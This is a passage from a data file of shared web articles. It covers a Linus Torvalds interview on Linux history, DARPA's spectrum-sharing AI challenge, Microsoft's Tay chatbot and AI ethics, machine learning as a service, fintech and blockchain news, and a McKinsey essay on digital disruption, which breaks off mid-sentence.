People didn't have to sign on to somebody else's vision, but could join with their own vision of where things should go. I think that helped motivate lots of people. S.C.: Is there one early technical decision made during Linux's development that you now wish had gone a different way? L.T.: The thing about bad technical decisions is that you can always undo them. Yes, it can be very frustrating, and obviously there's all the wasted time and effort, but at the same time even that is not usually really wasted in the end: There was some reason you took a wrong turn, and realizing that it was wrong taught you something. I'm not saying it's really a good thing-it's obviously better to always make the right decision every time-but at the same time I'm not particularly worried making a choice. I'd rather make a decision that turns out to be wrong later than waffle about possible alternatives for too long. We had a famously bad situation in the Linux virtual memory subsystem back in 2001 or so. It was a huge pain, and there was violent disagreement about which direction to take, and we had huge problems with certain memory configurations. Big swatches of the system got entirely ripped out in the middle of what was supposed to be a ""stable"" period, and people were not happy. But looking back at it, it all worked out in the end. It was painful as hell at the time, and it would have been much nicer to not have had to make that kind of big change mid-development, but it wasn't catastrophic. S.C.: As Linux grew rapidly, what was the transition from a solo to an ensemble effort like on a personal level? L.T.: There really were two notable transitions for me: One fairly early on (1992), which was when I started taking other developers' patches without always rewriting them myself. And one much later when [applying all the patches myself] was starting to be a big pain point, and I had to learn to really trust all the various submaintainers. The first step was the much easier one-since roughly the first six months of Linux kernel programming had been an entirely solo exercise, when people started sending me patches I just wasn't really used to just applying them. So what happened is that I would look at the patch to see what the person was aiming for, and then I would just do that myself-sometimes very similarly, sometimes in a totally different way. But that quickly became untenable. After a fairly short while I started to just trust certain people enough that instead of writing my own version of their idea, I'd just apply their patch. I still ended up making changes often, and over the years I got really good at reading and editing patches to the point where I could pretty much do it in my sleep. And that model really worked well for many years. But exactly because the ""apply other people's patches"" model worked so well for years, and I got very used to it, it was much more painful to change. Around 2000 we had a huge growth in kernel development (at that point Linux was starting to be a noticeable commercial player). People really started to complain about my workflow being a roadblock to development, and complaining that "" Linus doesn't scale. "" But we had no good tools to handle source management. That all eventually led up to the adoption of BitKeeper as a source code maintenance tool. People remember BitKeeper for the licensing brouhaha a few years later, but it was definitely the right tool for the job, and it taught me (and at least parts of the kernel community) about how source control could work, and how we could work together with a more distributed development model where I wasn't the lone synchronization point. Of course, what I learned about how to do distributed-source-control management is how Git came about in 2005. And Git has obviously become one of the big success stories in source control, but it took a lot of teaching others about the advantages to distributed source control. The pain that the kernel went through in around 2000 was ultimately a big learning lesson, but it was unquestionably painful. S.C.: Are there any other projects, as with distributed source control, that are giving you an itch you'd like to scratch? L.T.: No. And I really hope there won't be any. All my big projects have come from ""Damn, nobody else did this for me"" moments. I'm actually much happier when somebody else solves a problem for me, so that I don't have to spend a lot of effort doing it myself. I'd much rather sit at a beach, sipping some frou-frou drink with an umbrella, than have to solve my own problems. Okay, I'm lying. I'd be bored after a few days. I'm really happy that I have Linux because it's still interesting and intellectually stimulating. But at the same time it definitely is true that starting new projects is a very frustrating endeavor. S.C.: Why do you think Linux never became a significant presence on mainstream desktops? L.T.: Hey, still working on it. And I think Chromebooks are actually doing reasonably well, even if it's a fairly limited desktop environment, and not the full traditional Linux workstation model. As to why the desktop is such a hard nut to crack-there are multiple reasons, but one of the big ones is simply user inertia. The desktop is simply unique in the computing world in that it's both very personal-you interact with it rather intimately every day if you work with computers-but also complicated in ways many other computing environments aren't. Look at your smartphone. That's also a fairly intimate piece of computing technology, and one that people get pretty attached to (and one where Linux, thanks to Android , is doing fairly well). The desktop is in many ways more complex, with much more legacy baggage. It's a hard market to enter. Even more so than with a cellphone, people really have a certain set of applications and workflows that they are used to, and most people will never end up switching operating systems-the number of people who install a different OS than the one that came preinstalled with the machine is pretty low. At the same time, I think it's an important market, even if to some degree the whole ""general-purpose desktop"" seems to be fading, with more specialized, and thus simpler, platforms taking on many tasks-smartphones, tablets, and Chromebooks all being examples of things that aren't really meant to be fully fledged general-purpose environments. S.C.: What use of Linux most surprised you? L.T.: These days? Not that much, since I think Linux has almost become the default environment for prototyping new hardware or services. If you have some odd , specialized device or if you're creating some new Internet infrastructure or whatever, I'm almost surprised when it doesn't run Linux. But those ""oddball"" use areas used to surprise me, back when I still thought of Linux as a workstation and server operating system. Some of the early commercial Linux conferences when people started showing off things like gas pumps or fridges that ran Linux-I was blown away. When the first TiVo came out, the fact that it was running Linux was as interesting as the whole ""you can rewind live TV"" thing was. S.C.: What's the biggest challenge currently facing Linux? L.T. : The kernel is actually doing very well. People continue to worry about things getting too complicated for people to understand and fix bugs. It's certainly an understandable worry. But at the same time, we have a lot of smart people involved. The fact that the system has grown so big and complicated and so many people depend on it has forced us to have a lot of processes in place. It can be very challenging to get big and have invasive changes accepted, so I wouldn't call it one big happy place, but I think kernel development is working . Many other open-source projects would kill to have the kinds of resources we have. That said, one continual challenge we've always had in the kernel is the plethora of hardware out there. We support a lot of different hardware-almost certainly more than any other operating system out there, but there's new hardware coming out daily. The embedded area in particular tends to have hardware platform development time frames that are often very short (you can pretty much turn around and create a new phone platform in China in a month or two), and trying to work together in that kind of environment is tough. The good news is that a lot of hardware manufacturers are helping. That didn't used to be true. S.C.: What current technical trends are you enthusiastic about? Are there any that dismay you? L.T.: I have always been interested in new core hardware, particularly CPUs. That's why I started doing my own OS in the first place, and I'm still excited to see new platforms. Of course, most of the time it's fairly small tweaks on existing hardware (and I very much believe that that is how technical development should happen), but it's still the kind of thing I tend to try to keep track of. In a bigger picture, but not an area I personally get involved with, it's very interesting to see how AI is finally starting to really happen. AI used to be one of those ""it's two decades away"" things, and it would stay two decades ahead. And I was very unimpressed with all the rule-based models that people used to do. Now, finally, neural networks are starting to really come into their own. I find that very interesting. It's not an area I work in, and not really something I foresee working on, but it's still exciting. And unlike the crazy LISP and Prolog language approaches, recurrent neural networks we know work from nature. And no, I'm not dismayed by the fact that true AI may finally start to be happening, like clearly some people are . Not at all. S.C.: Do you think Linux will still be under active development on its 50th anniversary? What is the dream for what that operating system would look like? L.T.: I'm not a big visionary. I'm a very plodding pedestrian engineer, and I try to keep my eyes firmly on the ground. I'll let others make the big predictions about where we'll be in 5, 10 or 25 years-I think we'll do fine as long as we keep track of all the small day-to-day details, and try to do the best we can. It might be more interesting if the world was about big revolutions and how things would look radically different 25 years from now. But many of the basic issues with operating systems are the same today as they were back in the sixties, when people started having real operating systems, long before Linux. I suspect that we've seen many more changes in how computers work in the last 50 years than we're necessarily going to see in the future. Hardware people, like software developers, have simply learned what works and what does not. Of course, neural networks, et cetera, will change the world, but part of the point with them is that you don't ""program"" them. They learn. They are fuzzy. I can pretty much guarantee that they won't replace the traditional computing model for that very reason. People will want smarter machines, but people will also want machines that do exactly what they're told. So our current style of ""old-fashioned"" computing won't be going away; it'll just get augmented.",en
1459296770,CONTENT SHARED,1083474613819325601,-1443636648652872475,8209530310193218854,,,,HTML,http://gizmodo.com/darpa-wants-to-give-radio-waves-ai-to-stretch-bandwidth-1767678812,DARPA Wants to Give Radio Waves AI to Stretch Bandwidth,"Image by elBidule The radio spectrum is a mess: It's congested, expensive and there's no room for expansion. But DARPA has a plan to change that, by building a system where radio waves can work together using artificial intelligence, rathe than fighting for space. DARPA launched its latest Grand Challenge last week, and it plans to encourage researchers around the world to develop ""smart systems that collaboratively, rather than competitively, adapt in real time to today's fast-changing, congested spectrum environment... to maximize the flow of radio frequency."" That sounds exciting, because making radio frequency flow more easily means-theoretically, at least -faster data rates, fewer dropped signals, and cheaper connections. How does it plan to do it? Mainly by removing the human from the equation. That might not be too bad an idea, given the frequency allocation chart actually looks something like this (or at least, it did in 2011): United States Spectrum Allocation Chart, 2011 Instead, DARPA wants researchers to allow the waves themselves to work out how they shout fit into the spectrum. It explains : The primary goal... is to imbue radios with advanced machine-learning capabilities so they can collectively develop strategies that optimize use of the wireless spectrum in ways not possible with today's intrinsically inefficient approach of pre-allocating exclusive access to designated frequencies. The challenge is expected to both take advantage of recent significant progress in the fields of artificial intelligence and machine learning. In other words, the new approach would see waves themselves working out what needs to be sent-when, where and how. So, for instance, safety critical packets of data may receive priority passage across the network, while other signals might barter between each other depending on their relative priorities and importance to agree optimal sharing of the networks. Taken out of human hands, the signals can be made to act rationally-which means these situations could actually be made to play out optimally, for the network as a whole, if not for each individual user. Researchers from the University of Oxford, for instance, has already shown in a project called ALADDIN that such machine-t0-machine resource allocation like this can theoretically speed up the average arrival time of emergency services across a city. How this all works in practice, though, is to be decided by the thousands of engineers that will work on projects connected to the DARPA grand challenge. But the results may be pretty damn exciting.",en
1459302985,CONTENT SHARED,-4994468824009200256,-1443636648652872475,8209530310193218854,,,,HTML,https://www.linkedin.com/pulse/so-your-ai-bot-went-haywire-should-you-care-azeem-azhar,"So your AI bot went haywire, should you care?","A Microsoft chatbot went rogue on Twitter and started spewing Nazi epithets . It is a helpful case study in outlining some of the key issues around the application of machine learning and AI to everyday tasks. What is interesting is not that Tay, the bot, was taught to say rude things by Twitter users. What is interesting is what this tells us about designing AI systems that operate in the real world and how their learning can be hacked. Tay didn't have a sense of decent or indecent, wrong or right, should it have? And who should have taught or enforced those sensibilities? AIs are going to need to learn and interact somewhere akin to reality. Equally, if we allow AI-systems unexpurgated access to the 'real world' while they are learning, there could be ramifications. Here are some of the problems that Microsoft's Tay saga helps us explore. The first: do we have common standards for decent, ethical behaviour? If not, who draws the line? Well, we know the answer to this. We don't have common ethical standards within societies or cultures nor across them. The famous trolley problem looks at a simple moral dilemma. You see a train running down a track. There is are five people on the track who will surely die if the train continues this path. You happen to be standing by a switch that can change the path of the train. If you do that and pull the switch, the train will change tracks and hit and kill a single innocent standing on the other path. Do you pull it? This simple dilemma illustrates an ethical consideration that many AI systems will need to handle. And they will make their choice by learning their behaviour, within the parameters of their designers, or having those choice-rules explicitly programmed into them. Yes, your AI may be forced to make a choice on who to harm and who not to. The trouble is that we as humans don't agree with what to do in the Trolley problem. A recent paper looks at cultural differences and variations of the Trolley problem . It finds that ordinary British people will pull the switch, and sacrifice the one to save the five, between 63 and 91% of the time. Chinese people faced the same quandary were more inclined to let nature run its fate. They would pull the switch about 20-30% less often; or between 33% and 71% of the time. Should future systems follow British or Chinese ethical standards? And who decides? Should the designers of the systems explain how the AI is likely to perform in forced-choice situations? How do we prevent unelected, unaccountable product managers and AI programmers determining personal or social outcomes through veiled black boxes? What if those programmers are untrained in ethics, philosophy or anthropology? The second: Tay aside, we already live in a world mediated by poorly designed optimisation systems that enforce choices on hundreds of millions of people daily. Only those sysytems are less transparent and the firms operating them are often less responsive than Microsoft has been with Tay. Examples including credit scoring algorithms or complaints-handling protocols by big business. Credit scoring algorithms are often simple regressions built from small data sets relying on old information. Or in the case of complaints protocols often very simple, inflexible decision trees applied by a human. A poorly designed decision tree which might determine your access to a financial product or insurance. Getting this wrong can have real lasting impact on you and your family. How many algorithmic approaches make it out into the real world without adequate testing or understanding of their ramifications or worse, their unintended consequences? How many of these approaches are a black box, mandated monopolies, immune to competition, with limited right of redress? When we look back at Microsoft's Tay, what do we take away from it? Egg-on-the-face of a large corporation that should have known better? Absolutely. But more importantly, the AI revolutions benefits are going to come with a plethora of complexities and unintended consequences that will affect real people's real lives. Now is the time to explore them. You should totally sign-up to my Exponential View newsletter, which covers things like this. (free & awesome)",en
1459315656,CONTENT SHARED,-4571929941432664145,-1032019229384696495,-1858408872346331823,,,,HTML,http://www.huffingtonpost.com/laura-dambrosio/machine-learning-as-a-ser_b_9548962.html,Machine Learning as a Service: How Data Science Is Hitting the Masses,"Machine learning is an enigma to most. For decades it's a been a field dominated by scientists and the few organizations with enough computing power to run complex algorithms against huge datasets. But now the world of machine learning and predictive analytics is opening up to developers and companies of all sizes, with machine learning (ML) providers offering their products through a subscription-based model or open sourcing some of their technology. These new ML providers comprise a predictive analytics industry worth anything between $5-10 billion, depending on the source . There's something for everyone: a developer who wants to build predictive analytics into their application, a customer success team that needs to know which accounts are likely to churn, a data scientist looking to run models on faster and cheaper infrastructure. These people can now shop for the machine learning product of their choice-a farfetched idea just several years ago. The Perfect Convergence of Ability and Demand In just the last few years, over 90% of all the data in the world was created. NoSQL databases got popular, SQL got faster, and projects like Apache Spark did wonders for the speed and performance of large-scale data processing. Suddenly we had mountains of data and a fast, affordable means of drawing insight from it. ML providers are taking advantage of that. Some have been in the industry for years-take Apigee 's CTO, Anant Jhingran. Jhingran was VP and CTO for IBM's Information Management Division, working closely on groundbreaking data projects like Watson. Today his team at Apigee uses predictive technology to help developers build apps that can learn from the constant stream of user data flowing through APIs. They have customers in almost every major industry using their predictive technology to do things like detect fraud or show personalized shopping recommendations to end users. ""It's the era of cheap computing and cheap memory."" H2O.ai 's Vinod Iyengar is another player in ML market. He's Director of Marketing for the open source machine learning company that was first venture-backed in 2013. Iyengar sees a high demand for predictive in many industries, explaining that ""there's a huge need to be filled"". ""The amount of data available has shot up exponentially"", Iyengar says. ""Enormous amounts are being collected and stored every day thanks to cheaper costs of storage and cloud computing. Once that happens, you can't use your old algorithms on these large datasets. All of the different platforms, Hadoop, Spark, are starting to chip away at this problem. It's the era of cheap computing and cheap memory."" H2O is entirely open source. It lets developers use its technology stack to process large amounts of data and run it through H2O's algorithms to make predictions. Like the many other open source projects in the field, it's completely free if you only use the community resources. This flexibility opens up opportunities for companies of all sizes-from those experimenting to those ready to make a real investment in machine learning. How APIs and Open Source are Democratizing Data Two things pose a threat to actually putting machine learning to work: poor data quality and lack of data integration. The improvement of APIs and the trend of open sourcing some or all of the technology stack can abolish those threats. Jhingran, whose core business is in developing and managing better APIs, believes that the real power for digital transformation lies in the apps. ""Today's apps need to learn and adapt"", he says, ""and to do that there needs to be a consistent data stream of signals about the behaviors and actions of the end users from all channels of engagement. You can use the data to generate really deep insights with machine learning, then feed the results back into the apps to make improvements."" This is important because before APIs were this intelligent or ubiquitous, a company only had access to a small portion of user data that happened on its own website or platform. They had to make guesses on what was working without information from data sources like email campaigns, iOS apps, payment platforms, or any number of places where users were having important interactions. And as Jhingran summarizes perfectly, ""There's no way you can run a machine learning algorithm on such limited inputs."" While APIs are connecting data from many sources and putting it to work, the open source movement is giving anyone the chance to use the collective knowledge from data scientists and developers who have been working in this field. H2O's platform and algorithms are all open source, Iyengar explains. ""All of H2O is exposed via a REST API. Data scientists and developers can choose the language and environment that works best for them. If our customers need more guidance, that's another level of support that we provide."" There are tons of other open source projects on github that developers can use to incorporate machine learning into their applications. And companies like Google are releasing lower-level libraries like Tensorflow , which can be used in conjunction with others to perfectly match the level of sophistication a developer or data scientist is looking for. Even the less-technical user can take advantage of a service like Amazon Machine Learning , which provides a simple UI for non-developers. Now the crossroads: If APIs and the open source community are making machine learning technology accessible to all, why not hire data scientists of your own and get to work? Why Not Just Hire Your Own Data Scientists? As machine learning gets more popular as a service, companies will have to decide at what level they want to be involved. ""Having a scientist in house or not is a decision most companies will have to make"", Jhingran predicts. ""The power of predictive is so high. But wanting to do it and being able to do it are two different things. Some companies will choose a platform like ours to manage the entire cycle of data intelligence instead of trying to do it in-house, and that will let them focus on developing and powering their applications."" Iyengar agrees. ""There are only so many PhDs"", he says, ""and while there's huge hype for data scientists right now, there's a limited number of potential hires out there. Right now there is still a lot of manual decision-making involved in machine learning, and you should either begin your search now or find a partner you trust."" ""There are only so many PhDs."" Like many in the predictive market , Iyengar believes it's good to do some of the leg work in-house if you're going to adopt predictive. But there's a reason his company and others like it are hired to manage the data. It's not easy to do it without the talent, infrastructure, and scalability that ML providers have found. Data scientists are growing in number, but only in the tens of thousands... ...and thousands are going to work for the top companies. There may not be enough to go around. Navigating a Booming Market If you decide to shop around for good machine learning provider, you'll need to ask the right questions. You can get oriented by checking out Zachary Chase Lipton's series of articles that compare some of the major vendors. A good vendor should be able to explain both how they manage data and how they solve your specific business problem. Iyengar suggests asking some questions to see if a predictive company will be a good fit: ""Ask a [ML provider] how they handle unclean data. Their answer will show you how well they know their work. You can also ask about the variety of algorithms they use, since they should have a good variety of fairly robust algorithms. They should be comfortable explaining how they deploy a model structure, what their web stack looks like, and how that will work with customer architecture."" Jhingran expects the main differentiator among competing ML providers will be on how they apply the technology to improve applications and business strategy. ""It's astounding how the art of data science has improved over a short time thanks to open source. Over time, the competitive position you have from your own 'secret sauce' algorithms will dwindle-it will be all about how easily the models can be used by both scientists and developers to impact the organization."" Machine learning and predictive techniques impact every major industry. It may soon be an essential line item in most companies' budgets. But here's a dirty secret: no matter how good the algorithm, no matter how good the scientist, the models can't perform magic. ""No data in, no science out,"" jokes Jhingran. Whoever has the best sense for choosing, organizing, and acting on the torrent of incoming customer data might end up with the best long-term outlook in a market that's just getting started.",en
1459336665,CONTENT SHARED,5441215535748592870,4340306774493623681,-498266315041649697,,,,HTML,https://news.bitcoin.com/bitfury-pays-btc-join-innovate-finance/,Innovate Finance Allows Bitfury to Join With Bitcoin,"The leading Bitcoin infrastructure provider Also read: Oh Brazil! Only Smart Contracts Can Save You Bitfury has officially joined the London fintech group Innovate Finance this week after announcing it would enter the accelerator back in November of 2015. According to Business Insider , Bitfury paid £10,000, or 37.55 BTC, to join the organization that aims to propel the UK's position as the fintech community's global technology hub. What do you think about Bitfury paying for its membership in BTC? Let us know in the comments below! Images courtesy of Bitfury's websites, and Pixbay Bitfury Pays BTC to Join Innovate Finance In fact, Bitfury will be the first members that pay for their enrollment in b itcoin, and the company wouldn't have it any other way. The UK group has over 150 members including IBM, Mastercard, and Visa but none of these businesses have paid for membership with cryptocurrency. ""This technology while having a myriad of other uses, allows users to transfer currency using bitcoin in a secure and fast way,"" CEO Velery Vavilov told Business Insider. ""Because of these benefits, Bitfury seeks to make payments in Bitcoin whenever possible."" He added that they are proud to push the Bitcoin blockchain to the forefront of fintech stating: The bitcoin blockchain is receiving increased attention for its potential to secure financial services, so as a member of Innovate Finance, Bitfury hopes to bring an understanding of bitcoin and blockchain to the other members and to the fintech industry as a whole. Bitfury has already begun collaborating with the UK fintech scene and will be working alongside Hartree Lab researching and developing Bitcoin-based technology. The infrastructure provider has positioned itself in the region by establishing an office at the financial technology center Level 39. The company aims to lead development within this emerging market and expand its operations. Innovate Finance wanted to facilitate Bitfury's membership with Bitcoin because it seemed natural to use financial technology within the application process. An Innovate Spokeswoman explained in the announcement: Given that we are a fintech company - we have to practice what we preach. We agreed under the condition to accept that payment method. We used Coinbase's bitcoin exchange to process the payment. They are one of our most influential members. The Innovate Finance group gives Bitfury more exposure, offers business growth opportunities, provides insight into the developing fintech industry landscape, and offers commercial benefits within the organization. Bitfury is showing continued financial tech expansion with its operations in Georgia and its Level 39 London office. Two weeks ago the infrastructure provider had also a collaborative union with the African-based startup Bitpesa by investing in the company. Vavilov said Bitpesa enables the trusted exchange of the digital currency in the region, and they aim to leverage this position for "" the benefit of the entire pan-African continent."" Innovate Finance CEO Laurence Wintermeyer said back in November that Bitfury's diligence in this sector makes them a great addition to the organization. "" BitFury's proven track record of enterprise-grade deployment and continued technological innovation will add great value to Innovate Finance's ecosystem and the blockchain lab,"" Wintermeyer said. Jamie Redman is a Bitcoin enthusiast, trader, journalist and graphic artist. For over 4 years Redman has been deeply infused in the cryptocurrency space. Creating a ton of Bitcoin visuals and articles for the community to enjoy, Redman continues his quest to be a candid evangelist for the use of the virtual currency. The mission is to bring the ""Jazz"" to Bitcoin branding and add artistic flare.",en
1459336691,CONTENT SHARED,7359520440231676934,4340306774493623681,-498266315041649697,,,,HTML,http://www.coindesk.com/blockstream-10-new-firms-hyperledger-blockchain-project/,Blockstream Among 10 New Firms to Join Hyperledger Blockchain Project - CoinDesk,"Bitcoin development startup Blockstream is among 10 new companies that have joined the open-source Hyperledger blockchain project led by the Linux Foundation. Announced today , the group of new entrants features a number of startups focused on bitcoin and blockchain services, including Bloq, eVue Digital Labs, Gem, itBit and Ribbit.me. Consultancy Milligan Partners; payment software developer Montran Labs; intellectual property holdings company Tequa Creek Holdings; and global news service Thomson Reuters have also joined the initiative, which officially launched in December . Linux Foundation executive director Jim Zemlin said in a statement: ""The opportunity is great. This leadership team and the community investments among members across industries put the project in the best position possible to accomplish its mission."" The project also formally unveiled its governing board, which is chaired by blockchain startup Digital Asset Holdings CEO Blythe Masters. The Hyperledger technical steering committee has already been established and has since held several meetings. Other governing board members include itBit CEO Charles Cascarilla, IBM vice president of blockchain technologies Jerry Cuomo and JPMorgan head of new product development and emerging technologies Santiago Suarez. With the announcement, 40 established companies and startups are now working on the Hyperledger project, following an announcement in February that added a number of financial firms as well as blockchain-focused startups. To date, the project has seen a number of developments, including presentations by JPMorgan and Intel, the latter of which developed an internal blockchain application centered on a fantasy sports marketplace . More recently, the technical steering committee came close to officially approving a plan to merge code contributed by Blockstream, Digital Asset and IBM. Image via Shutterstock",en
1459338001,CONTENT SHARED,4774970687540378081,1895326251577378793,-167447336240321466,,,,HTML,http://www.mckinsey.com/business-functions/strategy-and-corporate-finance/our-insights/the-economic-essentials-of-digital-strategy,The economic essentials of digital strategy,"A supply-and-demand guide to digital disruption. In July 2015, during the championship round of the World Surf League's J-Bay Open, in South Africa, a great white shark attacked Australian surfing star Mick Fanning. Right before the attack, Fanning said later, he had the eerie feeling that ""something was behind me."" Then he turned and saw the fin. A digital-strategy framework Thankfully, Fanning was unharmed. But the incident reverberated in the surfing world, whose denizens face not only the danger of loss of limb or life from sharks-surfers account for nearly half of all shark victims-but also the uncomfortable, even terrifying feeling that can accompany unseen perils. Just two years earlier, off the coast of Nazaré, Portugal, Brazilian surfer Carlos Burle rode what, unofficially, at least, ranks as the largest wave in history. He is a member of a small group of people who, backed by board shapers and other support personnel, tackle the planet's biggest, most fearsome, and most impressive waves. Working in small teams, they are totally committed to riding them, testing the limits of human performance that extreme conditions offer. Instead of a threat of peril, they turn stormy seas into an opportunity for amazing human accomplishment. Digital Disruption These days, something of a mix of the fear of sharks and the thrill of big-wave surfing pervades the executive suites we visit, when the conversation turns to the threats and opportunities arising from digitization. The digitization of processes and interfaces is itself a source of worry. But the feeling of not knowing when, or from which direction, an effective attack on a business might come creates a whole different level of concern. News-making digital attackers now successfully disrupt existing business models-often far beyond the attackers' national boundaries: Simple (later bought by BBVA) took on big-cap banks without opening a single branch. A DIY investment tool from Acorns shook up the financial-advisory business. Snapchat got a jump on mainstream media by distributing content on a platform-as-a-service infrastructure. Web and mobile-based map applications broke GPS companies' hold on the personal navigation market. No wonder many business leaders live in a heightened state of alert. Thanks to outsourced cloud infrastructure, mix-and-match technology components, and a steady flood of venture money, start-ups and established attackers can bite before their victims even see the fin. At the same time, the opportunities presented by digital disruption excite and allure. Forward-leaning companies are immersing themselves deeply in the world of the attackers, seeking to harness new technologies, and rethinking their business models-the better to catch and ride a disruptive wave of their own. But they are increasingly concerned that dealing with the shark they can see is not enough-others may lurk below the surface. Deeper forces Consider an insurance company in which the CEO and her top team have reconvened following a recent trip to Silicon Valley, where they went to observe the forces reshaping, and potentially upending, their business. The team has seen how technology companies are exploiting data, virtualizing infrastructure, reimagining customer experiences, and seemingly injecting social features into everything. Now it is buzzing with new insights, new possibilities, and new threats. The team's members take stock of what they've seen and who might disrupt their business. They make a list including not only many insurance start-ups but also, ominously, tech giants such as Google and Uber-companies whose driverless cars, command of data, and reimagined transportation alternatives could change the fundamentals of insurance. Soon the team has charted who needs to be monitored, what partnerships need to be pursued, and which digital initiatives need to be launched. Just as the team's members begin to feel satisfied with their efforts, the CEO brings the proceedings to a halt. ""Hang on,"" she says. ""Are we sure we really understand the nature of the disruption we face? What about the next 50 start-ups and the next wave of innovations? How can we monitor them all? Don't we need to focus more on the nature of the disruption we expect to occur in our industry rather than on who the disruptors are today? I'm pretty sure most of those on our list won't be around in a decade, yet by then we will have been fundamentally disrupted. And how do we get ahead of these trends so we can be the disruptors, too?"" This discussion resembles many we hear from management teams thoughtful about digital disruption, which is pushing them to develop a view of the deeper forces behind it. An understanding of those forces, combined with solid analysis, can help explain not so much which companies will disrupt a business as why -the nature of the transformation and disruption they face rather than just the specific parties that might initiate them. In helping executives to answer this question, we have-paradoxically, perhaps, since digital ""makes everything new""-returned to the fundamentals of supply, demand, and market dynamics to clarify the sources of digital disruption and the conditions in which it occurs. We explore supply and demand across a continuum: the extent to which their underlying elements change. This approach helps reveal the two primary sources of digital transformation and disruption. The first is the making of new markets, where supply and demand change less. But in the second, the dynamics of hyperscaling platforms, the shifts are more profound (exhibit). Of course, these opportunities and threats aren't mutually exclusive; new entrants, disruptive attackers, and aggressive incumbents typically exploit digital dislocations in combination. We have been working with executives to sort through their companies' situations in the digital space, separating realities from fads and identifying the threats and opportunities and the biggest digital priorities. Think of our approach as a barometer to provide an early measure of your exposure to a threat or to a window of opportunity-a way of revealing the mechanisms of digital disruption at their most fundamental. It's designed to enable leaders to structure and focus their discussions by peeling back hard-to-understand effects into a series of discrete drivers or indicators they can track and to help indicate the level of urgency they should feel about the opportunities and threats. We've written this article from the perspective of large, established companies worried about being attacked. But those same companies can use this framework to spot opportunities to disrupt competitors-or themselves. Strategy in the digital age is often asymmetrical, but it isn't just newcomers that can tilt the playing field to their advantage. Realigning markets We usually start the discussion at the top of the framework. In the zone to the upper right, digital technology makes accessible, or ""exposes,"" sources of supply that were previously impossible (or at least uneconomic) to provide. In the zone to the upper left, digitization removes distortions in demand, giving customers more complete information and unbundling (or, in some cases, rebundling) aspects of products and services formerly combined (or kept separate) by necessity or convenience or to increase profits. The newly exposed supply, combined with newly undistorted demand, gives new market makers an opportunity to connect consumers and customers by lowering transaction costs while reducing information asymmetry. Airbnb has not constructed new buildings; it has brought people's spare bedrooms into the market. In the process, it uncovered consumer demand-which, as it turns out, always existed-for more variety in accommodation choices, prices, and lengths of stay. Uber, similarly, hasn't placed orders for new cars; it has brought onto the roads (and repurposed) cars that were underutilized previously, while increasing the ease of getting a ride. In both cases, though little has changed in the underlying supply-and-demand forces, equity-market value has shifted massively: At the time of their 2015 financing rounds, Airbnb was reported to be worth about $25 billion and Uber more than $60 billion. Airbnb and Uber may be headline-making examples, but established organizations are also unlocking markets by reducing transaction costs and connecting supply with demand. Major League Baseball has deployed the dynamic pricing of tickets to better reflect (and connect) supply and demand in the primary market for tickets to individual games. StubHub and SeatGeek do the same thing in the secondary market for tickets to baseball games and other events. Let's take a closer look at how this occurs. Unmet demand and escalating expectations Today's consumers are widely celebrated for their newly empowered behaviors. By embracing technology and connectivity, they use apps and information to find exactly what they want, as well as where and when they want it-often for the lowest price available. As they do, they start to fulfill their own previously unmet needs and wants. Music lovers might always have preferred to buy individual songs, but until the digital age they had to buy whole albums because that was the most valuable and cost-effective way for providers to distribute music. Now, of course, listeners pay Spotify a single subscription fee to listen to individual tracks to their hearts' content. Similarly, with photos and images, consumers no longer have to get them developed and can instead process, print, and share their images instantly. They can book trips instantaneously online, thereby avoiding travel agents, and binge-watch television shows on Netflix or Amazon rather than wait a week for the next installment. In category after category, consumers are using digital technology to have their own way. In each of these examples, that technology alters not only the products and services themselves but also the way customers prefer to use them. A ""purification"" of demand occurs as customers address their previously unmet needs and desires-and companies uncover underserved consumers. Customers don't have to buy the whole thing for the one bit they want or to cross-subsidize other customers who are less profitable to companies. Skyrocketing customer expectations amplify the effect. Consumers have grown to expect best-in-class user experiences from all their online and mobile interactions, as well as many offline ones. Consumer experiences with any product or service-anywhere-now shape demand in the digital world. Customers no longer compare your offerings only with those of your direct rivals; their experiences with Apple or Amazon or ESPN are the new standard. These escalating expectations, which spill over from one product or service category to another, get paired with a related mind-set: amid a growing abundance of free offerings, customers are increasingly unwilling to pay, particularly for information-intensive propositions. (This dynamic is as visible in business-to-business markets as it is in consumer ones.) In short, people are growing accustomed to having their needs fulfilled at places of their own choosing, on their own schedules, and often gratis. Can't match that? There's a good chance another company will figure out how. What, then, are the indicators of potential disruption in this upper-left zone, as demand becomes less distorted? Your business model may be vulnerable if any of these things are true: Your customers have to cross-subsidize other customers. Your customers have to buy the whole thing for the one bit they want. Your customers can't get what they want where and when they want it. Your customers get a user experience that doesn't match global best practice. When these indicators are present, so are opportunities for digital transformation and disruption. The mechanisms include improved search and filter tools, streamlined and user-friendly order processes, smart recommendation engines, the custom bundling of products, digitally enhanced product offerings, and new business models that transfer economic value to consumers in exchange for a bigger piece of the remaining pie. (An example of the latter is TransferWise, a London-based unicorn using peer-to-peer technology to undercut the fees banks charge to exchange money from one currency into another.) Exposing new supply On the supply side, digitization allows new sources to enter product and labor markets in ways that were previously harder to make available. As ""software eats the world""-even in industrial markets-companies can liberate supply anywhere underutilized assets exist. Airbnb unlocked the supply of lodging. P&G uses crowdsourcing to connect with formerly unreachable sources of innovation. Amazon Web Services provides on-the-fly scalable infrastructure that reduces the need for peak capacity resources. Number26, a digital bank, replaces human labor with digital processes. In these examples and others like them, new supply becomes accessible and gets utilized closer to its maximum rate. What are the indicators of potential disruption in this upper-right zone as companies expose previously inaccessible sources of supply? You may be vulnerable if any of the following things are true: Customers use the product only partially. Production is inelastic to price. Supply is utilized in a variable or unpredictable way. Fixed or step costs are high. These indicators let attackers disrupt by pooling redundant capacity virtually, by digitizing physical resources or labor, and by tapping into the sharing economy. Making a market between them Any time previously unused supply can be connected with latent demand, market makers have an opportunity to come in and make a match, cutting into the market share of incumbents-or taking them entirely out of the equation. In fact, without the market makers, unused supply and latent demand will stay outside of the market. Wikipedia famously unleashed latent supply that was willing and elastic, even if unorganized, and unbundled the product so that you no longer had to buy 24 volumes of an encyclopedia when all you were interested in was, say, the entry on poodles. Google's AdWords lowers search costs for customers and companies by providing free search for information seekers and keyword targeting for paying advertisers. And iFixit makes providers' costs more transparent by showing teardowns of popular electronics items. To assess the vulnerability of a given market to new kinds of market makers, you must (among other things) analyze how difficult transactions are for customers. You may be vulnerable if you have any of these: high information asymmetries between customers and suppliers high search costs fees and layers from intermediaries long lead times to complete transactions Attackers can address these indicators through the real-time and transparent exchange of information, disintermediation, and automated transaction processing, as well as new transparency through search and comparison tools, among other approaches. Extreme shifts The top half of our matrix portrays the market realignment that occurs as matchmakers connect sources of new supply with newly purified demand. The lower half of the matrix explains more extreme shifts-sometimes through new or 